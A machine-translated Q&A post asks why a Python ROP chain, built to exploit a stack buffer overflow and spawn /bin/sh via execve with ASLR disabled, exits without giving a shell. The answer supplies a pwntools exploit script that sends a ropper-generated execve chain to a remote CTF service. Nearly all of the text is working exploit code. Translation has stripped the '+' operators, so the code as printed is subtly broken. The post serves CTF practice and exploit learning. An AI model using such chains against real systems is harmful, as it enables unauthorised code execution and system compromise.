Как заставить ROP-гаджет для оболочки работать?

#c #exec #buffer-overflow

#c #exec #переполнение буфера

Вопрос:

У меня есть приведенный ниже ROP-gaget для оболочки execv.

 from struct import pack
p = "x90" "a"*71
p  = pack('<Q', 0x0000000000001b96 0x007ffff79e4000) # pop rdx ; ret
p  = pack('<Q', 0x00000000003eb1a0 0x007ffff79e4000) # @ .data
p  = pack('<Q', 0x00000000000439c8 0x007ffff79e4000) # pop rax ; ret
p  = '/bin//sh'
p  = pack('<Q', 0x000000000003093c 0x007ffff79e4000) # mov qword ptr [rdx], rax ; ret
p  = pack('<Q', 0x0000000000001b96 0x007ffff79e4000) # pop rdx ; ret
p  = pack('<Q', 0x00000000003eb1a8 0x007ffff79e4000) # @ .data   8
p  = pack('<Q', 0x00000000000b17c5 0x007ffff79e4000) # xor rax, rax ; ret
p  = pack('<Q', 0x000000000003093c 0x007ffff79e4000) # mov qword ptr [rdx], rax ; ret
p  = pack('<Q', 0x000000000002155f 0x007ffff79e4000) # pop rdi ; ret
p  = pack('<Q', 0x00000000003eb1a0 0x007ffff79e4000) # @ .data
p  = pack('<Q', 0x0000000000023e6a 0x007ffff79e4000) # pop rsi ; ret
p  = pack('<Q', 0x00000000003eb1a8 0x007ffff79e4000) # @ .data   8
p  = pack('<Q', 0x0000000000001b96 0x007ffff79e4000) # pop rdx ; ret
p  = pack('<Q', 0x00000000003eb1a8 0x007ffff79e4000) # @ .data   8
p  = pack('<Q', 0x00000000000b17c5 0x007ffff79e4000) # xor rax, rax ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000d0e00 0x007ffff79e4000) # add rax, 1 ; ret
p  = pack('<Q', 0x00000000000013c0 0x007ffff79e4000) # syscall

print(p)
  

Программа запускается и завершается успешно. Но никаких подсказок от оболочки не будет. При запуске из GDB я получаю следующее сообщение.
«‘
процесс 3928 выполняет новую программу: /bin/dash
[Нижний уровень 1 (процесс 3928) завершен нормально]
«‘

Я проверил, запускается ли процесс в оболочке, и я могу видеть процесс ‘sh’, запущенный во время отладки программы. Но в конце он каким-то образом завершается. При запуске с терминала я не получаю никакого сообщения о завершении процесса. Мне нужно запустить оболочку, заполнив буфер. PS: У меня отключен ASLR.

Ответ №1:

Вы можете объединить с pwntools, это пример скрипта эксплойта, который я написал для решения проблемы CTF :

 #!/usr/bin/env python
# Generated by ropper ropchain generator #
from pwn import *
from struct import pack

s = remote("hack.bckdr.in", "15102")
#s = process("qemu-x86_64 ./chall2")
p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 # 4a6888bf50a5cfc75ea51ec172dfee08ef6d82e3a9fdbea556ef9cd86dd51c6a
rebase_0 = lambda x : p(x   IMAGE_BASE_0)

rop = ''

rop  = rebase_0(0x0000000000001a1f) # 0x0000000000401a1f: pop r13; ret; 
rop  = '//bin/sh'
rop  = rebase_0(0x00000000000016c3) # 0x00000000004016c3: pop rdi; ret; 
rop  = rebase_0(0x00000000002c0060)
rop  = rebase_0(0x0000000000050c95) # 0x0000000000450c95: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = rebase_0(0x0000000000001a1f) # 0x0000000000401a1f: pop r13; ret; 
rop  = p(0x0000000000000000)
rop  = rebase_0(0x00000000000016c3) # 0x00000000004016c3: pop rdi; ret; 
rop  = rebase_0(0x00000000002c0068)
rop  = rebase_0(0x0000000000050c95) # 0x0000000000450c95: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = p(0xdeadbeefdeadbeef)
rop  = rebase_0(0x00000000000016c3) # 0x00000000004016c3: pop rdi; ret; 
rop  = rebase_0(0x00000000002c0060)
rop  = rebase_0(0x00000000000017d7) # 0x00000000004017d7: pop rsi; ret; 
rop  = rebase_0(0x00000000002c0068)
rop  = rebase_0(0x00000000000377d5) # 0x00000000004377d5: pop rdx; ret; 
rop  = rebase_0(0x00000000002c0068)
rop  = rebase_0(0x000000000006b9f8) # 0x000000000046b9f8: pop rax; ret; 
rop  = p(0x000000000000003b)
rop  = rebase_0(0x000000000005bac5) # 0x000000000045bac5: syscall; ret; 
#print rop

payload = "A" * 40   rop   "n"

s.sendline(payload)
#s.interactive() # or with interactive ?